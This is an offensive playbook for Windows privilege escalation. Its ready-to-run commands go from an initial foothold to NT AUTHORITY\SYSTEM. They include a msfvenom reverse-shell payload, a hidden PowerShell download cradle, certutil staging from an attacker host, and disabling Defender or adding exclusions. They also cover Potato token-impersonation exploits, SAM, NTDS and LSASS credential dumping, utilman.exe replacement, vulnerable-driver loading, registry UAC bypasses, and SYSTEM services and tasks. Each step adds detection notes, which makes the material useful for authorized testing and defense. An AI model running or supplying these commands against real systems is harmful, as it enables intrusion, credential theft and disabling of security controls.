From a foothold to NT AUTHORITY\SYSTEM: token privileges (SeImpersonate, Potato), UAC bypass, service and DLL misconfigurations, unquoted paths, stored credentials, privileged groups, and defense evasion (AMSI, EDR, AppLocker).
Land a session on a Windows host you can reach.
You can reach a Windows host and hold (or can obtain) a credential or a code-execution primitive, but no shell yet. Turn that into an interactive or command session: log on with the credential material you hold, or stabilise a code-execution primitive into a usable shell. Either route yields a Local Foothold, and the privilege-escalation triage begins.
Use a credential to open a session on the host.
You hold credential material for an account with remote-access rights. How you authenticate depends on what you hold: a cleartext password or key, an NT hash, or a Kerberos ticket. The Active Directory map carries the full lateral-movement detail; here it is the entry to a local foothold.
Cleartext password or key into a WinRM, RDP, SMB, or SSH session.
With a valid account password (or an SSH private key), open a session over whichever remote service the account may use: WinRM for a PowerShell shell, RDP for an interactive desktop, SMB command execution in the admin user's context (SYSTEM only if the smbexec/service method is used), or SSH on OpenSSH hosts. Membership in Remote Management Users, Remote Desktop Users, or local Administrators decides which services accept the logon.
# WinRM PowerShell shell
evil-winrm -i <host> -u <user> -p '<pass>'# SMB service exec (nxc)
nxc smb <host> -u <user> -p '<pass>' -x 'whoami'# RDP session
xfreerdp /u:<user> /p:'<pass>' /v:<host> /cert:ignore# SSH (OpenSSH on Windows)
ssh <user>@<host>OPSEC / detection: Each logon writes a 4624 event (logon type 3 for SMB/WinRM, 10 for RDP); evil-winrm and service execution are signatured. Prefer the protocol the account already uses.
NT hash into NTLM auth over SMB/PsExec or WinRM.
When you hold an account's NT hash but not its cleartext, authenticate with the hash directly over NTLM rather than cracking it. SMB service execution (psexec/smbexec) needs local admin on the target; WinRM needs Remote Management Users. NTLM must be permitted (no Kerberos-only or Protected Users enforcement on the account).
# SMB exec with the hash
nxc smb <host> -u <user> -H <NThash> -x 'whoami'# PsExec SYSTEM shell
impacket-psexec -hashes :<NThash> <user>@<host># WinRM with the hash
evil-winrm -i <host> -u <user> -H <NThash>OPSEC / detection: PtH triggers NTLM logons (4624 type 3) with the machine reporting NTLM where Kerberos is expected. Modern EDR flags psexec service creation (7045).
A TGT/ccache or key into a Kerberos-authenticated WinRM/SMB session.
With a Kerberos TGT (ccache) or an account's AES/NT key, authenticate over Kerberos instead of NTLM: overpass-the-hash mints a TGT from a key, pass-the-ticket reuses a stolen one. Open WinRM or SMB by the host's SPN/FQDN. The path of choice where NTLM is disabled.
# Request a TGT, then use it
getTGT.py <domain>/<user> -hashes :<NThash>
export KRB5CCNAME=<user>.ccache# WinRM over Kerberos
evil-winrm -i <host.fqdn> -r <REALM># SMB with the ticket cache
nxc smb <host.fqdn> --use-kcache -x 'whoami'# Fix clock skew (KRB_AP_ERR_SKEW)
sudo ntpdate -u <dc> # or wrap the tool in faketime to avoid changing system time# On-host TGT and inject (Rubeus)
Rubeus.exe asktgt /user:<user> /rc4:<NThash> /pttOPSEC / detection: Kerberos logons blend in better than NTLM, but ticket requests for an unusual host/SPN and clock-skew errors are visible to the KDC.
Turn a one-shot code-exec primitive into a stable interactive session.
From a fragile or one-shot primitive (web RCE, command injection, a delivered payload), get a reliable shell: generate a payload, stage it onto the host, trigger a callback to your listener, then stabilise the session. The AD map covers reusing the resulting access to move on.
# Generate a payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<you> LPORT=443 -f exe -o s.exe# Catch the shell
ncat -lvnp 443 # or OpenBSD nc -lvn 443 (port positional); or msfconsole: use exploit/multi/handler# PowerShell download cradle
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<you>/a.ps1')"# Stage tooling onto the host
certutil -urlcache -split -f http://<you>/t.exe %TEMP%\t.exeOPSEC / detection: msfvenom stock payloads and certutil downloads are heavily signatured. Match the payload arch to the target and prefer a LOLBin or in-memory cradle over dropping an EXE on monitored hosts.
Clear host controls before running loud tooling; applies however you got in.
Defense evasion is an execution constraint on everything you run after the foothold, whether you arrived by a credentialed logon or a code-execution shell, not an escalation step. winPEAS, Potato tooling, driver loads, and LSASS access all trip AMSI, Defender / EDR + Tamper Protection, or AppLocker / WDAC / CLM. On a managed host, clear the relevant control (or pick native / LOLBIN / in-memory tradecraft) before working the escalation lanes; on an unmanaged host none of these controls apply.
Run flagged tooling past AMSI and Defender.
Your script or payload is caught by AMSI (in-memory script scanning) or Defender (on-disk and behavioural). Running fileless only reduces on-disk artifact exposure; PowerShell/script and some dynamic content can still hit AMSI and Defender behavioural/cloud detections, so use AMSI-aware obfuscation or a same-process AMSI bypass where that is the actual blocker. Where you hold admin, add an exclusion or disable real-time protection. An AMSI patch is per-process, so it must run in the same process that executes the payload.
# Confirm AMSI is the blocker
'AmsiScanBuffer' ; 'Invoke-Mimikatz' # a known-bad string trips AMSI if it is on# Check Tamper Protection before relying on Set-MpPreference
(Get-MpComputerStatus).IsTamperProtected# Add a Defender exclusion (admin; blocked by TP on managed hosts)
Add-MpPreference -ExclusionPath C:\Windows\Temp # Add- appends; Set-MpPreference -ExclusionPath REPLACES the whole list# Disable real-time protection (admin/SYSTEM; blocked by TP on default hosts)
Set-MpPreference -DisableRealtimeMonitoring $trueOPSEC / detection: Successful RTP disablement/config changes commonly emit 5001/5007 (and related 5004/5010/5012 depending on what changed); Tamper Protection-blocked attempts emit 5013, and exclusion changes usually show as 5007 when they actually apply. Defender tampering is a high-signal detection. AMSI patches are loud if the patch string itself is signatured; vary it.
Escape a locked-down shell or application-control policy to run code.
Execution is constrained by policy: PowerShell Constrained Language Mode (often a JEA endpoint), AppLocker, or WDAC. Run through an allowed LOLBIN (living-off-the-land binary: a trusted, signed Windows tool like MSBuild or InstallUtil, abused to run your code), fall back to the PowerShell v2 engine where it survives, or sign your payload with a recovered or forged code-signing certificate that a publisher allow-rule trusts. MSBuild and InstallUtil defeat default AppLocker and CLM but are neutered by a WDAC policy that carries the Microsoft recommended block rules; a WDAC escape generally needs a different vector (a signer/hash allow-list gap or a LOLBIN not yet on the block list).
# Check the language mode
$ExecutionContext.SessionState.LanguageMode# Drop to PowerShell v2 IF .NET 3.5/2.0 is present (legacy hosts / Server 2012 R2)
powershell -version 2 -ep bypass # fails silently on default Win10/11 + Server 2016+: .NET 3.5 not installed# Run code via the MSBuild LOLBIN
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csprojOPSEC / detection: Script-block logging still records what you run even in Constrained Language Mode, and signed-binary proxy execution (MSBuild/InstallUtil) is a known EDR pattern. Code-signing abuse needs a cert the target already trusts.
A low-privilege shell. Triage the account first.
You have command execution as a low-privilege (or service) account on a domain-joined or standalone Windows machine; the goal is NT AUTHORITY\SYSTEM (or local admin). Before any tooling, establish the security context. whoami names the account, so a service identity (LOCAL/NETWORK SERVICE, an application pool, MSSQL) is its own path; whoami /priv and whoami /groups decide the rest: a privileged token or group, an administrator restricted by UAC, or an unprivileged user who must enumerate the host for a misconfiguration.
# Check your own privileges/groups
whoami /priv & whoami /groups# winPEAS (fast checks)
winpeasany.exe quiet fast# PrivescCheck (PowerShell)
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"OPSEC / detection: winPEAS/Seatbelt are noisy on disk and signatured by EDR. Consider running in-memory or using the built-in whoami/accesschk checks on monitored hosts.
A privileged token or group you already hold.
The account already holds something dangerous: an abusable token privilege or membership in a powerful local group. No hunting required: abuse the right you have.
whoami /priv, abusable token privileges.
Dangerous privileges surfaced by whoami /priv: SeImpersonate / SeAssignPrimaryToken, SeBackup / SeRestore, SeDebug, SeTakeOwnership, SeLoadDriver, SeManageVolume, SeTrustedCredManAccess, SeCreateToken, SeTcb, and SeRelabel.
whoami /groups, privileged group membership.
Membership in a local or built-in group whose rights convert to SYSTEM or credential theft: Backup / Server / Print Operators, DnsAdmins, Hyper-V Administrators, Event Log Readers, Account Operators, or a UAC-filtered Administrators token.
Hold an impersonation privilege, then pick a Potato variant by Windows build.
Service accounts (IIS, MSSQL, a relayed login) and many others hold SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. The "Potato" family coerces a SYSTEM-level authentication or RPC call and impersonates the returned token to run code as NT AUTHORITY\SYSTEM. Every variant needs the same privilege; what changes is the coercion trick, which Microsoft has patched piecemeal. Confirm the privilege, then choose the variant that fits the target build and the services it is running.
# Confirm the privilege
whoami /privOPSEC / detection: Potato binaries are heavily signatured by EDR/AV, and each variant has its own tell: RoguePotato produces outbound TCP/135 to a redirector; PrintSpoofer opens the local \pipe\spoolss named pipe (no 135 traffic); JuicyPotato/GodPotato do local DCOM activation.
Abuse a SYSTEM DCOM/BITS CLSID for a SYSTEM token (legacy, pre-1809).
The classic local-only Potato, a more flexible RottenPotatoNG that lets you pick any SYSTEM DCOM CLSID. Abuse a SYSTEM-owned DCOM server (BITS and others) by pointing its OXID resolution at a local listener, capture the SYSTEM NTLM authentication, and impersonate it. Needs a CLSID that runs as SYSTEM on the target build; the project ships a per-OS CLSID list. No network egress, so it is still the first pick on older hosts.
# Run with a SYSTEM CLSID for the OS
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}OPSEC / detection: A fake DCOM/OXID listener on a local port plus a burst of local NTLM is detectable, and the binary is widely signatured.
Coerce the Print Spooler over a named pipe for a SYSTEM token.
itm4n's replacement for JuicyPotato on 1809 and later. Make the Print Spooler service connect to a named pipe you control, then impersonate the SYSTEM token that arrives. Entirely local with no network redirector, which makes it the simplest option when the Spooler is running.
# SYSTEM shell via the Spooler pipe
PrintSpoofer.exe -i -c cmd.exeOPSEC / detection: Named-pipe Spooler coercion and the binary are signatured; many hardened hosts disable the Spooler entirely.
Redirect the DCOM OXID resolver to a remote listener (post-1809).
Revives the JuicyPotato approach on builds where the local OXID trick was patched. Point DCOM OXID resolution at a remote redirector on port 135, which forwards back to a local socket, capture the SYSTEM authentication, and impersonate it. The remote port-135 requirement is its main constraint.
# On your redirector (forward 135 to the target)
socat tcp-listen:135,reuseaddr,fork tcp:<target>:9999# On the target
RoguePotato.exe -r <redirector_ip> -e "cmd.exe" -l 9999OPSEC / detection: Outbound 135 to an external host is unusual on a workstation and stands out; the binary is signatured.
rpcss OXID flaw covering Windows 8 to 11 and Server 2012 to 2022.
A DCOM-based coercion that abuses how the rpcss service handles OXID resolution, working across nearly every supported build with no network redirector and no Print Spooler dependency. Ship the .NET-version-matched binary (NET2 / NET35 / NET4) for the target.
# SYSTEM command (match .NET to the host)
GodPotato-NET4.exe -cmd "cmd /c whoami"OPSEC / detection: DCOM activation plus a local NTLM coercion; the binary is signatured, though the local-only footprint is quieter than RoguePotato.
Read protected files (SAM/SYSTEM, NTDS) bypassing ACLs.
SeBackupPrivilege grants read access to any file regardless of its ACL; SeRestorePrivilege grants write. On a workstation/server, copy out the SAM and SYSTEM hives for offline hash extraction. On a Domain Controller, use diskshadow (VSS) + robocopy /b to exfiltrate ntds.dit, and also pull the SYSTEM hive (reg save HKLM\SYSTEM) because ntds.dit is encrypted with a key protected by the DC's boot key: without SYSTEM the hashes cannot be decrypted. Then parse both offline to dump every domain hash. This DC / ntds.dit path is MITRE T1003.003 (NTDS), distinct from the local SAM path (T1003.002).
# Copy SAM + SYSTEM hives
reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive# Extract hashes offline
impacket-secretsdump -sam sam.hive -system system.hive LOCAL# DC path: parse ntds.dit with the SYSTEM hive
impacket-secretsdump -ntds ntds.dit -system system.hive LOCALOPSEC / detection: reg save / diskshadow scripts / VSS snapshot creation are detectable. The privilege may need explicit enabling in the token first.
Open LSASS / steal a SYSTEM token.
SeDebugPrivilege lets you open a handle to processes owned by other users, including LSASS. Dump LSASS memory (procdump, comsvcs MiniDump, or mimikatz) to extract live logon secrets (NTLM hashes, Kerberos tickets/keys, and any cleartext), or open a SYSTEM process and duplicate its token directly. Effectively SYSTEM-equivalent.
# comsvcs MiniDump (LOLBAS)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\Temp\lsass.dmp full# Parse offline with mimikatz
sekurlsa::minidump C:\Temp\lsass.dmp
sekurlsa::logonpasswordsOPSEC / detection: LSASS handle opens (esp. by rundll32/procdump) are top-tier EDR detections.
Take ownership of a SYSTEM binary, then replace it.
SeTakeOwnershipPrivilege lets you become the owner of any object. Take ownership of a binary that auto-runs as SYSTEM (classic: C:\Windows\System32\utilman.exe or sethc.exe), grant yourself write, and replace it. Trigger it from the logon screen (Ease of Access / Sticky Keys) to get a SYSTEM shell.
# Take ownership + grant write
takeown /f C:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant "%USERNAME%":F# Replace with cmd, trigger at lock screen
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exeOPSEC / detection: Replacing utilman.exe / sethc.exe is a well-known IOC. Back up and restore the original to avoid breaking accessibility.
Load a vulnerable signed driver, exploit it for kernel code exec.
SeLoadDriverPrivilege allows loading kernel-mode drivers. Use EoPLoadDriver to enable the privilege and register a service key under HKCU, then NtLoadDriver a known-vulnerable signed driver (e.g. Capcom.sys) and exploit its arbitrary-kernel-exec to elevate to SYSTEM (a bring-your-own-vulnerable-driver, or BYOVD, pattern).
# Register + load the driver
EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Temp\Capcom.sys# Exploit the loaded driver for kernel exec -> SYSTEM
ExploitCapcom.exeOPSEC / detection: Loading a known-vulnerable driver is heavily flagged; modern Windows + HVCI / driver blocklist may refuse the load.
Abuse volume privilege to gain write on C:\, then DLL hijack.
SeManageVolumePrivilege can be abused (via the public SeManageVolumeExploit) to obtain full write access over the C:\ drive, including C:\Windows\System32. With that, plant a malicious DLL that a SYSTEM process loads (e.g. tzres.dll triggered by systeminfo, or PrintConfig.dll via PrintNotify) to execute as SYSTEM.
# Grant write over C:\ (then DLL hijack)
SeManageVolumeExploit.exeOPSEC / detection: Writing a DLL into System32 and forcing a SYSTEM load is detectable (image-load + file-create in System32). The exploit re-ACLs C:\ to grant the Users group (every local user) full control, a persistent, drive-wide DACL change that is a durable IOC and a security downgrade left behind; revert it afterward.
Back up and decrypt every Credential Manager secret.
SeTrustedCredManAccessPrivilege ("Access Credential Manager as a trusted caller") is held by Winlogon and LSASS by default. With it, enable the privilege, impersonate the Winlogon token, call CredBackupCredentials to export the user's Credential Manager store, then decrypt it with CryptUnprotectData, recovering saved passwords for escalation or lateral movement.
OPSEC / detection: Rarely granted outside Winlogon; CredBackupCredentials while impersonating Winlogon is an unusual, detectable call sequence.
Call NtCreateToken to forge a token with a privileged group SID.
SeCreateTokenPrivilege lets you build a token by hand with NtCreateToken. You cannot simply mint a usable NT AUTHORITY\SYSTEM token from nothing (naive attempts fail), but you can forge an impersonation token for your own user with a high-privilege group SID added, typically the local Administrators SID, subject to the rule that the forged token's integrity is at or below your process. Impersonate that token to act as a local administrator, then take any Admin to SYSTEM path. Rarely granted, but a direct win where it is.
# Confirm the privilege
whoami /priv# Forge an Administrators token, then impersonate it
:: build and run the SeCreateTokenPrivilegePoC from daem0nc0re/PrivFuOPSEC / detection: A process other than LSASS calling NtCreateToken, then impersonating a token carrying an added Administrators SID, is anomalous and detectable.
Act as part of the OS to craft a privileged token.
SeTcbPrivilege lets a process act as part of the trusted computing base. Combined with the LSA logon APIs (LsaLogonUser), it can add arbitrary high-privilege SIDs to a token or obtain a SYSTEM-level token, escalating to full control.
# No off-the-shelf one-liner: requires custom code calling LsaLogonUser to make and impersonate a token
:: build and run a SeTcb LsaLogonUser PoC (gtworek PsBits)OPSEC / detection: Rarely granted; abnormal LSA logon calls are detectable.
Own a higher-integrity (SYSTEM) object → SYSTEM.
SeRelabelPrivilege can modify an object's mandatory integrity label, letting you take ownership of objects at a HIGHER integrity level than your own, including SYSTEM processes. From a High-integrity context, take ownership of a SYSTEM process, grant yourself full control over it, and inject/parent-spoof into it to execute as NT AUTHORITY\SYSTEM. Stronger than SeTakeOwnership, but needs High integrity and is almost never granted to users.
OPSEC / detection: A serious misconfiguration if a standard user holds it; taking ownership of a SYSTEM process is a strong detection.
Group grants SeBackup/SeRestore for reading SAM/NTDS.
Members of the Backup Operators group are granted SeBackupPrivilege and SeRestorePrivilege. Enable them in your token, then read the protected SAM/SYSTEM hives locally and dump the local hashes offline, converging on the same SeBackup/SeRestore tradecraft (the ntds.dit-on-a-DC path is covered under SeBackup/SeRestore).
# Confirm group membership
whoami /groups | findstr /i "Backup"# Save hives (SeBackup)
reg save HKLM\SAM C:\Temp\sam.hive & reg save HKLM\SYSTEM C:\Temp\system.hiveOPSEC / detection: The privileges are not enabled by default in a non-elevated token. Same detection profile as SeBackup/SeRestore.
Reconfigure a DC service binPath to run as SYSTEM.
On Domain Controllers, the Server Operators group can manage services. Reconfigure a SYSTEM service binPath to your command and restart it to execute as SYSTEM on the DC, directly compromising the domain.
# Hijack a service binPath (on a DC this grants BUILTIN\Administrators = domain-admin-equivalent)
sc config <svc> binpath= "cmd /c net localgroup administrators <YOUR-DOMAIN-USER> /add"# Trigger (net.exe is not a service binary, so the start returns error 1053; the command already ran as SYSTEM, this is expected)
sc stop <svc> & sc start <svc>OPSEC / detection: sc config + service restart on a DC is high-signal. Restore the original binPath afterward.
Load a DnsPlugin DLL into the SYSTEM DNS service.
Members of DnsAdmins can set the ServerLevelPluginDll value via dnscmd, pointing the DNS service at a plugin DLL with no path validation. Restarting the DNS service (often on a DC, running as SYSTEM) loads your DLL as SYSTEM. The DLL must be a real DNS plugin: it has to export DnsPluginInitialize / DnsPluginQuery / DnsPluginCleanup (returning 0) and run the payload in a new thread, or dns.exe fails to start and the session dies. A plain msfvenom DLL lacks these exports; use mimilib.dll or a custom DnsPlugin DLL. Highly disruptive: the DNS service may crash.
# Point DNS at a DnsPlugin DLL
dnscmd.exe /config /serverlevelplugindll C:\Temp\mimilib.dll# Restart DNS to load it (DnsAdmins-native trigger)
dnscmd <server> /restart# sc.exe restart (only if you hold service-control / local-admin rights)
sc.exe stop dns && sc.exe start dnsOPSEC / detection: ServerLevelPluginDll write under DNS\Parameters and DNS.exe spawning a child are strong detections. Disruptive to AD DNS.
Redirect vmms.exe (SYSTEM) file ops via a hardlink to escalate.
Hyper-V Administrators can make vmms.exe, which runs as SYSTEM, perform file operations on paths they otherwise cannot touch. During VM deletion vmms.exe resets the .vhdx permissions with an unimpersonated SetSecurity as SYSTEM; a hardlink redirects that permission-reset so you are granted a full-control DACL over an existing protected file. From there, chain a file-write-to-SYSTEM technique to execute. A hardlink/TOCTOU file-operation abuse of the service, not one specific CVE.
OPSEC / detection: The vmms DACL grant is by-design and works everywhere the group exists; you still rely on winning a file-operation race against vmms.exe and on a write-to-SYSTEM step that later builds mitigate.
Group holds SeLoadDriverPrivilege; load vulnerable driver.
On a domain controller, the Print Operators group is granted SeLoadDriverPrivilege by default (to install printer drivers); this is not a workstation/member-server default, where "Load and unload device drivers" is assigned to Administrators only and BUILTIN\Print Operators is a DC-scoped, effectively-empty group. Where held, it is the precondition for the SeLoadDriver → BYOVD path: load a known-vulnerable signed driver and exploit it for kernel-mode code execution as SYSTEM.
# Confirm group + privilege
whoami /groups | findstr /i Print
whoami /priv | findstr /i SeLoadDriverOPSEC / detection: Same as the SeLoadDriver path: driver-load events and the driver blocklist / HVCI may block it.
Read Security / PowerShell logs for leaked credentials.
Membership in Event Log Readers grants read access to the restricted Security event log; the PowerShell-Operational log is separately readable by any interactive user by default, so it is worth checking even without the group. Where process-creation auditing AND the "Include command line in process creation events" policy, or PowerShell script-block / module logging, are enabled, those logs frequently contain credentials passed on command lines or embedded in scripts. Harvest them and reuse the account.
# Search the Security log for passwords
wevtutil qe Security /f:text /rd:true /c:200 | findstr /i "password pass"OPSEC / detection: Read-only and quiet; success depends entirely on whether logging captured a secret.
Take over non-protected accounts; log on to DCs.
On a domain controller, Account Operators can create and modify users and groups that are NOT AdminSDHolder-protected (Domain Admins, the Operators groups, etc. are off-limits), and may log on locally to DCs. The path is indirect: reset the password of, or add yourself to, a delegated non-protected account or group that holds privileges (a custom admin group, an account with DCSync/GPO rights), then use those, rather than joining a protected group directly.
# Reset a non-protected user's password
net user <user> <NewPass> /domain# Add yourself to a delegated non-protected group
net group "<Group>" <you> /add /domain# ADModule equivalents
Set-ADAccountPassword -Identity <user> -Reset -NewPassword (ConvertTo-SecureString "<NewPass>" -AsPlainText -Force)
Add-ADGroupMember -Identity "<Group>" -Members <you>OPSEC / detection: Password resets and group changes (Event ID 4724/4728/4732) are high-fidelity, and this is a domain-level change.
You are admin, but UAC filters the token.
whoami /groups shows the local Administrators SID, but it is "deny-only" and your token runs at Medium integrity because of UAC. You already have the rights; you just need to unfilter the token. A UAC bypass restores the high-integrity admin token, and from there any Admin → SYSTEM technique applies.
OPSEC / detection: No action by itself; it routes to the UAC-bypass / admin-to-SYSTEM techniques.
Already a local admin, at medium (UAC-filtered) or high integrity.
The account is in the local Administrators group. If UAC filters it to a medium-integrity token, bypass UAC to obtain the high-integrity token; once high-integrity, any administrator-to-SYSTEM technique applies.
Raise a UAC-filtered (medium-integrity) admin token to high integrity, no consent prompt.
With UAC enabled, an administrator runs under a split token: a filtered medium-integrity token for everyday use, and the full high-integrity token only after a consent prompt. A bypass abuses an auto-elevating, Microsoft-signed binary or scheduled task to obtain the high-integrity token silently. It raises integrity, not privilege, so it applies only to an account that is already a local administrator; a standard user gains nothing. UACMe catalogues ~70 methods; the common ones are covered here.
Pivot from a high-integrity administrator token to NT AUTHORITY\SYSTEM.
With a high-integrity administrator token, obtain a SYSTEM context: install or reconfigure a service to run as LocalSystem, register a scheduled task that runs as SYSTEM, or duplicate the token of an existing SYSTEM process.
Auto-elevate fodhelper via an HKCU ms-settings handler.
fodhelper.exe auto-elevates and reads HKCU\Software\Classes\ms-settings\shell\open\command (with DelegateExecute). Plant your command there and run fodhelper to execute at High integrity with no UAC prompt. Elevates an existing admin to High integrity; it does not turn a standard user into admin.
# Set the hijack key
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f# Trigger elevation
fodhelper.exe# Clean up the signatured key afterward
reg delete "HKCU\Software\Classes\ms-settings" /fOPSEC / detection: The HKCU ms-settings shell-open-command key + fodhelper spawning cmd is a widely-signatured detection. Clean up the key afterward.
Hijack the mscfile handler eventvwr.exe auto-elevates.
eventvwr.exe is an auto-elevating Microsoft-signed binary that opens its .msc snap-in via the HKCU\Software\Classes\mscfile\shell\open\command handler, which is checked before the HKCR (system-wide) one and never validated. A medium-integrity admin can point that key at an arbitrary command; launching eventvwr.exe then runs it at High integrity with no UAC prompt (default UAC level; not "Always Notify").
# Set the hijack key
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f# Trigger elevation
eventvwr.exeOPSEC / detection: The HKCU mscfile shell-open-command key + eventvwr.exe spawning cmd is a classic, widely-signatured detection. Remove the key afterward.
Auto-elevating sdclt via the Folder/App Path handler.
sdclt.exe (Backup and Restore) auto-elevates and, on Windows 10, spawns control.exe, which resolves its open command through HKCU\Software\Classes\Folder\shell\open\command. Plant your command in that key and launch sdclt to run at High integrity with no prompt. (A separate sdclt variant instead hijacks HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe; it does not use the Folder key.)
# Set the hijack key
reg add "HKCU\Software\Classes\Folder\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f# Trigger
sdclt.exeOPSEC / detection: HKCU Folder/command key + sdclt spawning cmd is signatured. Clean up afterward.
Auto-elevating computerdefaults via ms-settings handler.
computerdefaults.exe auto-elevates and, like fodhelper, launches its target through the HKCU\Software\Classes\ms-settings\shell\open\command handler. Point that key at your command and run computerdefaults to execute at High integrity without a consent prompt.
# Set the hijack key
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f# Trigger
computerdefaults.exeOPSEC / detection: Shares the fodhelper ms-settings IOC; clean up the key.
Auto-elevate via the CMSTP elevated COM interface.
This bypass abuses an auto-elevating COM object, the ICMLuaUtil "Elevated COM Interface" (CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7}), to run a command as a High-integrity process. Implemented by UACMe method 41 and several public scripts; needs no file on disk.
OPSEC / detection: The signal is a high-integrity process spawned by dllhost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} (the CMSTPLUA COM surrogate), plus abnormal ICMLuaUtil::ShellExec calls; this method does not run cmstp.exe. Heavily covered by public Sigma/Elastic rules.
Abuse the auto-elevating SilentCleanup scheduled task.
The built-in SilentCleanup scheduled task runs "with highest privileges" yet is launchable by normal users. The task's action path (%windir%\system32\cleanmgr.exe) is expanded from the user-controlled environment block, so redirecting windir in HKCU\Environment makes the elevated task launch your binary instead.
# Run the task
schtasks /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /iOPSEC / detection: Environment-variable hijack in HKCU plus an elevated task spawning an odd child is detectable.
Admin creates a service the SCM runs as SYSTEM.
A high-integrity administrator can register a Windows service whose binary the Service Control Manager launches as LocalSystem. Do it by hand with sc create, or let PsExec -s spin up a transient service and hand back a SYSTEM shell. (RunasCs does not create a service; it launches a process under another account when you hold suitable credentials or a token, which is the token/credential-impersonation lane.) The default administrator-to-SYSTEM step.
# PsExec SYSTEM shell
PsExec64.exe -accepteula -s -i cmd.exe# Manual service as SYSTEM
sc create svc binPath= "cmd /c C:\Temp\payload.exe" & sc start svcOPSEC / detection: Service creation (Event ID 7045) and PsExec named pipes are classic detections.
Register a task that runs as SYSTEM.
As a high-integrity administrator, create a scheduled task whose principal is SYSTEM and run it immediately. schtasks /ru SYSTEM (or a task XML with the LocalSystem principal) executes your command as NT AUTHORITY\SYSTEM without installing a service.
# Create + run a SYSTEM task
schtasks /create /tn sysT /tr "C:\Temp\payload.exe" /sc once /st 00:00 /ru SYSTEM /f
schtasks /run /tn sysTOPSEC / detection: Task creation (Event ID 4698) with a SYSTEM principal is a strong signal.
Duplicate a SYSTEM process token.
A high-integrity administrator can enable SeDebugPrivilege, open a process already running as SYSTEM (e.g. winlogon.exe), duplicate its token with DuplicateTokenEx, and spawn a new process with it: the manual / incognito / PowerSploit approach. Meterpreter getsystem reaches the same outcome differently: its token-duplication technique enumerates a service running as SYSTEM and reflectively injects into it to grab that service's token, and its other techniques use named-pipe impersonation.
OPSEC / detection: A handle to winlogon.exe (or another SYSTEM process), service creation, named-pipe impersonation, and reflective injection into a SYSTEM service are top-tier EDR detections.
No inherent privilege; enumerate for a weakness.
The account holds no useful privilege, group, or admin membership. Enumerate the host (winPEAS / PrivescCheck) and work the findings: stored credentials, service and DLL/PATH misconfigurations, tasks and autoruns, privileged app/service abuse, and known-CVE exploits.
Reusable secrets on disk and in the registry.
Credentials you can replay as a more privileged user: registry-hive secrets, DPAPI, autologon and saved credentials, PowerShell history, files and configs, and password-manager / browser stores. winPEAS and LaZagne automate most of these. (Live LSASS/process memory is covered under the credential-dumping techniques, not this on-disk hub.)
Secrets in the SAM/SYSTEM hives and registry.
Local account hashes and cleartext in the registry: dump the SAM + SYSTEM hives, abuse HiveNightmare/SeriousSAM for a shadow-copy read, or read a Winlogon autologon password.
Secrets in saved credentials, history, and config files.
Credentials left in files: cmdkey-saved credentials, PowerShell history, and configs, scripts, and unattend files across the host.
DPAPI-protected secrets and password vaults.
Decrypt DPAPI-protected credentials and vaults, and loot password managers and browser stores.
Weak service ACLs, paths, binaries, and registry keys.
A SYSTEM service you can influence (a weak service DACL (SERVICE_CHANGE_CONFIG), an unquoted path, a writable binary, or a writable service registry key), so you choose what it runs.
Privileged process loads a DLL you control.
A privileged process resolves a DLL by name from a location you can write to: a hijackable service DLL, or a user-writable directory on the system PATH.
Writable code a privileged context runs automatically.
A binary or script a higher-privileged context launches on a schedule or at logon is writable by you. Overwrite it and wait for, or invoke, the trigger.
Abuse a privileged local app or service.
Abuse an application or service running at higher privilege: a local MSSQL instance, vulnerable third-party software with a known LPE, an exploitable privileged service (PrintNightmare), an admin-run GUI you can break out of, or the Windows Installer when the AlwaysInstallElevated policy lets any user install an MSI as SYSTEM.
Run a public LPE exploit or named technique (CVE or not).
When config and credentials are clean, run a public local-privilege-escalation exploit: kernel and driver CVEs, a few famous non-kernel one-shots, plus recent Defender-remediation races (BlueHammer/RedSun). Map the build and hotfixes first. Kernel/driver and classic one-shot CVEs are loud and best on older, unpatched hosts, but the Defender-remediation 0-days (BlueHammer, patched April 2026; RedSun) hit current, fully-patched builds.
Save SAM+SYSTEM, extract local hashes offline.
Save the SAM and SYSTEM registry hives and process them offline to recover local NTLM hashes (the SYSTEM hive holds the bootkey that decrypts SAM). The reg save command below operates on the live registry and needs backup semantics (admin, SeBackup, or Backup Operators) at runtime; a read ACL on the hive files alone is not enough for it. The case where a misconfigured ACL lets an unprivileged user read the on-disk hive files (out of a shadow copy, no backup privilege) is HiveNightmare/SeriousSAM, covered separately. A cracked or passed-the-hash local admin enables lateral movement.
# Save hives
reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive# Dump offline
impacket-secretsdump -sam sam.hive -system system.hive LOCALOPSEC / detection: reg save of SAM/SYSTEM is a known credential-dumping IOC. Offline parsing on the attacker host is invisible.
Decrypt DPAPI-protected creds/vaults with masterkeys.
